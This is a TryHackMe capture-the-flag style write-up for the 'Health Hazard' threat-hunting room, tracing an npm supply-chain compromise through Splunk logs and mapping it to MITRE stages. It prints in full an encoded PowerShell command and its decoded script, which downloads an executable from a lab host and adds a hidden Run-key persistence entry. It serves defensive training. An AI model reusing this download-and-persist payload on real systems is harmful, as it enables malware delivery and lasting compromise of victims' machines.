# Threat Hunting Simulator: Health Hazard  - TryHackMe writeup

This writeup covers the new **Threat Hunting simulator** room ‘**Health Hazard’** rated Easy from Tryhackme.

At a high level, the challenge involved going through a splunk log to trace out the attack path, we have all the information needed to complete the challenge in the simulator dashboard itself and this room is a great practice for threat hunting

I’ll walk through my thought process, mistakes, and how I eventually solved it.

Start the simulator and take a look around the dashboard, Make sure you make note of every information here, including the executive summary, threat hunting mission and IOCs(indicator of compromise).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753642882475/58f9651e-6a6f-4b70-8c44-8f0689bdc33e.png align="center")

# What does each section mean ?

The **SIEM tab** contains the splunk enterprise version with logs we need to go through.

The **My Computer** section gives us a remote web based desktop connection to a desktop environment.

The **Documentation** section contains a overally summary of the company data such as all the user account information, and asset information, including network, subnets and endpoints.

The **Timeline** is where we map out each and every step we uncover in the attack chain from Initial compromise to privilege escalation and lateral movement. When we submit an attack chain we discovered, we will get to know if its right or not, allowing us to move step by step in this lab.

The **Threat Report** tab is where we submit a final report **proving or disproving** the hypothesis, and also submitting a high level attack chain with all the steps.

# Understanding some important information

Lets layout some important information we have read so far from the dashboard.

### **Attacker behaviour:**

> TryDetectThis Intelligence has identified a coordinated supply chain attack campaign targeting open-source ecosystems, specifically, **npm and Python package repositories**. The campaign appears to be orchestrated by a threat actor leveraging long-term infiltration of neglected or low-profile projects to weaponize legitimate packages.
> 
> The attacker’s strategy involves contributing to moderately used but under-maintained libraries, gaining contributor or maintainer status through helpful commits. Once trusted, they publish malicious updates, embedding post-installation payloads or obfuscated backdoors within version releases that appear minor or maintenance-related.

### Indicators of compromise (IoC):

All of these IOCs are important patterns to remember.

> ### **Host-Based IOCs**
> 
> | **Type** | **Value** |
> | --- | --- |
> | NPM Package | `healthchk-lib@1.0.1` |
> | Registry Path | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` |
> | Registry Value Name | `Windows Update Monitor` |
> | Registry Value Data | `powershell.exe -NoP -W Hidden -EncodedCommand <base64>` |
> | Downloaded File Path | `%APPDATA%\SystemHealthUpdater.exe` |
> | PowerShell Command | `Invoke-WebRequest -Uri ... -OutFile ...` |
> | Process Execution | `powershell.exe -NoP -W Hidden -EncodedCommand ...` |
> | Script Artifact | Found in `package.json` under `"postinstall"` |
> 
> ## Network-Based IOCs
> 
> | **Type** | **Value** |
> | --- | --- |
> | Download URL | [`http://global-update.wlndows.thm/SystemHealthUpdater.exe`](http://global-update.wlndows.thm/SystemHealthUpdater.exe) |
> | Hostname Contacted | `global-update.wlndows.thm` |
> | Protocol | HTTP (unencrypted) |
> | Port | 80 |
> | Traffic Behavior | Outbound file download to `%APPDATA%` via PowerShell |

# Mapping the attack #1 — Initial access

## Analysis in Splunk

Open the splunk enterprise instance provided, lets do some log analysis. we are provided with many logs across the network, and it is not feasible to go through each and every one of them, so lets do some filtering.

From the attacker behaviour, you may understand that the attack is based on npm and python libraries.

so use a simple OR FILTER in splunk to list only those logs containing `npm` and `python` keywords.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753644720821/65df6bd4-f56d-44a1-a49d-749f720db654.png align="center")

We have reduced the events to 5, now go through every one of them and understand what triggered the alert, and what is happening in the background, if they seem like a IoC, it probably is part of the attack.

From the first event from down, we can see a command to install a node package called `healthchk-lib@1.0.1`, remember this exact package and version was part of the IoC to look out for.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753644822900/65ded1aa-f73e-433e-88cb-bc3b5955dae1.png align="center")

Moving up, we come across this really interesting command execution alert, running a powershell command that is base64 encoded, let’s decode this!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753644922270/1a2dd32b-9a1c-46b7-8e54-3ecab4da6cab.png align="center")

I used cyberchef to decode the base64:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753645017045/d8eca706-5baa-498a-9bf1-9cd98c4034e3.png align="center")

And we have this powershell script:

```powershell
$dest = "$env:APPDATA\SystemHealthUpdater.exe"
$url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe"

# Download file
Invoke-WebRequest -Uri $url -OutFile $dest

# Base64 encode the command
$encoded = [Convert]::ToBase64String(
    [Text.Encoding]::Unicode.GetBytes("Start-Process '$dest'")
)

# Build persistence command
$runCmd = 'powershell.exe -NoP -W Hidden -EncodedCommand ' + $encoded

# Add to registry for persistence
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
    -Name 'Windows Update Monitor' -Value $runCmd
```

The attacker was kind enough to not obfuscate the script and also added comments for us!

The script does this:

* Download a executable (.exe) file from a external url and save it to APPDATA folder.
    
* Base64 encode the command `start-process <appdata-path>`
    
* run the `start-process` command using powershell — basically run the exe file.
    
* Setup windows registry to run the command for persistence.
    

We have found the way in which the attacker made a Initial access to our network, so lets document the steps in **Timeline**. Go to Timeline section, and click on **Stage 1 of 3** and add the following information.

**Adversary step description:**

> The user \`tom@pawpress.me\` had installed a compromised NPM package named - \`healthchk-lib@1.0.1\`. The library post install, ran an encoded command in powershell that further installed a malicious executable from an external url. The executable was run, and set as a registry for persistence.

**Tactic**: *Initial Access*

**Technique**: *Supply chain compromise*

**User**: [*tom@pawpress.me*](mailto:tom@pawpress.me)

**Timestamp**: (Find it from the event in splunk)

**List of IOCs**: (Just list the stuff you noticed that is part of the IOC list)

```plaintext
healthchk-lib@1.0.1
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
powershell.exe -NoP -W Hidden -EncodedCommand
Found in package.json under "postinstall"
http://global-update.wlndows.thm/SystemHealthUpdater.exe
global-update.wlndows.thm
Outbound file download to %APPDATA% via PowerShell
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753645625279/ec3e764c-665a-4742-ae4d-ae5d40b43cf8.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753645629737/c69d0ada-4fb2-4276-8ebf-076cd6fcbfe5.png align="center")

Submit it, and if its right, you will get to the next step.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753645681561/1ff07704-7b50-4ad5-94db-fca31b44f3a7.png align="center")

# Mapping the attack #2 — Execution

We have already gone through this step as part of the initial access, the npm package ran a powershell script that downloaded an executable from an external host. This is part of the execution phrase in MITRE ATT&CK mappings.

Now all you gotta do for this step is to submit the attack chain **stage 2 of 3.**

**Adversary step description:**

> After installing the npm package, the [postinstall.ps](http://postinstall.ps)1 script was executed which ran a hidden powershell command (which was encoded). this downloaded an .exe from a external host, and saved it to %APPDATA% using invoke-webrequest

**Tactic**: *Execution*

**Technique**: *Command and scripting interpreter*

**User**: [*tom@pawpress.me*](mailto:tom@pawpress.me)

**Timestamp**: (Same as previous)

**List of IOCs**: (Just list the stuff you noticed that is part of the IOC list)

```powershell
Powershell command (encoded):

C:\Windows\system32\cmd.exe /d /s /c powershell.exe -NoP -W Hidden -EncodedCommand JABkAGUAcwB0ACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABTAHkAcwB0AGUAbQBIAGUAYQBsAHQAaABVAHAAZABhAHQAZQByAC4AZQB4AGUAIgANAAoAJAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAOgAvAC8AZwBsAG8AYgBhAGwALQB1AHAAZABhAHQAZQAuAHcAbABuAGQAbwB3AHMALgB0AGgAbQAvAFMAeQBzAHQAZQBtAEgAZQBhAGwAdABoAFUAcABkAGEAdABlAHIALgBlAHgAZQAiAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABkAGUAcwB0AA0ACgANAAoAIwAgAEIAYQBzAGUANgA0ACAAZQBuAGMAbwBkAGUAIAB0AGgAZQAgAGMAbwBtAG0AYQBuAGQADQAKACQAZQBuAGMAbwBkAGUAZAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgADQAKACAAIAAgACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAiAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAnACQAZABlAHMAdAAnACIAKQANAAoAKQANAAoADQAKACMAIABCAHUAaQBsAGQAIABwAGUAcgBzAGkAcwB0AGUAbgBjAGUAIABjAG8AbQBtAGEAbgBkAA0ACgAkAHIAdQBuAEMAbQBkACAAPQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBOAG8AUAAgAC0AVwAgAEgAaQBkAGQAZQBuACAALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAnACAAKwAgACQAZQBuAGMAbwBkAGUAZAANAAoADQAKACMAIABBAGQAZAAgAHQAbwAgAHIAZQBnAGkAcwB0AHIAeQAgAGYAbwByACAAcABlAHIAcwBpAHMAdABlAG4AYwBlAA0ACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAAYAANAAoAIAAgACAAIAAtAE4AYQBtAGUAIAAnAFcAaQBuAGQAbwB3AHMAIABVAHAAZABhAHQAZQAgAE0AbwBuAGkAdABvAHIAJwAgAC0AVgBhAGwAdQBlACAAJAByAHUAbgBDAG0AZAA= 


decoded powershell command:
$dest = "$env:APPDATA\SystemHealthUpdater.exe"
$url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe"

# Download file
Invoke-WebRequest -Uri $url -OutFile $dest

# Base64 encode the command
$encoded = [Convert]::ToBase64String(
    [Text.Encoding]::Unicode.GetBytes("Start-Process '$dest'")
)

# Build persistence command
$runCmd = 'powershell.exe -NoP -W Hidden -EncodedCommand ' + $encoded

# Add to registry for persistence
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
    -Name 'Windows Update Monitor' -Value $runCmd 
```

Submit and let’s move on to the last stage.

# Mapping the attack #3 — Persistence

From the Powershell script, the last stage was to do persistence. According to MITRE:

> Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code.

Here the attacker embedded the code to add a value to the registry:

```powershell
# Add to registry for persistence
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
    -Name 'Windows Update Monitor' -Value $runCmd
```

The `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run` Registry is executed everytime the User Login, so this is an persistence mechanism that lets the attacker persist.

**Adversary step description:**

> The attacker creates persistence by modifying the user registry `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run` to have the value `powershell.exe -NoP -W Hidden -EncodedCommand <base64 encoded command>` . the base64 encoded command is the command to run the executable systemhealthupdater.exe which is originally downloaded from the external host in execution phrase.

**Tactic**: *Persistence*

**Technique**: *Boot or Logon autostart execution*

**User**: [*tom@pawpress.me*](mailto:tom@pawpress.me)

**Timestamp**: (This should be the time after the install and run of powershell command, so the next event after that)

**List of IOCs**: (Just list the stuff you noticed that is part of the IOC list)

````powershell
Command run to update the registry:
```
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
    -Name 'Windows Update Monitor' -Value $runCmd```

decoded powershell command:
```
$dest = "$env:APPDATA\SystemHealthUpdater.exe"
$url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe"

# Download file
Invoke-WebRequest -Uri $url -OutFile $dest

# Base64 encode the command
$encoded = [Convert]::ToBase64String(
    [Text.Encoding]::Unicode.GetBytes("Start-Process '$dest'")
)

# Build persistence command
$runCmd = 'powershell.exe -NoP -W Hidden -EncodedCommand ' + $encoded

# Add to registry for persistence
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' `
    -Name 'Windows Update Monitor' -Value $runCmd```
````

We have unfolded all the stages of the attack, now submit the attack chain.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753647241105/81d1f816-fe16-4c63-8664-0f15fdf7f893.png align="center")

Seems like it is proven afterall this evidences we have found, review the ai generated report and click on submit findings.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753647439829/f372b5d0-6f2f-418d-bb0b-b354d8f73a76.png align="center")

### AI Generated Report

> ## Threat Case Report: Supply Chain Compromise via Malicious NPM Package
> 
> ## Executive Summary
> 
> This report outlines a coordinated cyber attack initiated through a compromised NPM package, culminating in persistent system compromise. The attack chain successfully employed three key stages: Initial Access, Execution, and Persistence.
> 
> ### Stage 1: Initial Access - Matching IoC
> 
> * **Description**: An NPM package named `healthchk-lib@1.0.1` was installed by user [`tom@pawpress.me`](mailto:tom@pawpress.me) on the asset `paw-tom`. The package executed a post-install PowerShell command to download and run a malicious executable from [`http://global-update.wlndows.thm/SystemHealthUpdater.exe`](http://global-update.wlndows.thm/SystemHealthUpdater.exe), establishing persistence.
>     
> * **Tactic & Technique**: Initial Access (TA0001), Supply Chain Compromise (T1195)
>     
> * **Indicators of Compromise (IoC)**: `healthchk-lib@1.0.1`, PowerShell encoded command, registry entry for persistence
>     
> 
> ### Stage 2: Execution
> 
> * **Description**: The NPM package’s [`postinstall.ps`](http://postinstall.ps)`1` script executed a hidden, encoded PowerShell command. This command utilized `Invoke-WebRequest` to download an executable to `%APPDATA%`, facilitating malicious activity.
>     
> * **Tactic & Technique**: Execution (TA0002), Command and Scripting Interpreter (T1059)
>     
> * **IoC**: Encoded PowerShell command and specific URL targeting the asset's `%APPDATA%` directory
>     
> 
> ### Stage 3: Persistence
> 
> * **Description**: Persistence was achieved through registry modification, setting the executable to run at system startup. The registry path `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run` was updated to execute the PowerShell command silently.
>     
> * **Tactic & Technique**: Persistence (TA0003), Boot or Logon Autostart Execution (T1547)
>     
> * **IoC**: Registry path modification and associated PowerShell command
>     
> 
> ## Impact and Findings
> 
> The attack illustrates a sophisticated supply chain compromise using a malicious NPM package to deliver a payload, which maintains persistence through registry modification. This compromise potentially exposes the affected system to further attacks and unauthorized access, necessitating immediate remedial actions to mitigate further risks. Comprehensive investigation and system audits are recommended to prevent recurrence.

That summarises our findings quiet well, go ahead and submit the report if it does for you.

The lab is done, although we did not get the full points, we did get majority of the things right. I recommend you go through the analysis and find what were wrong to learn better.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753647617764/ada2e078-dea2-4707-bdcb-e075ab15c9e1.png align="center")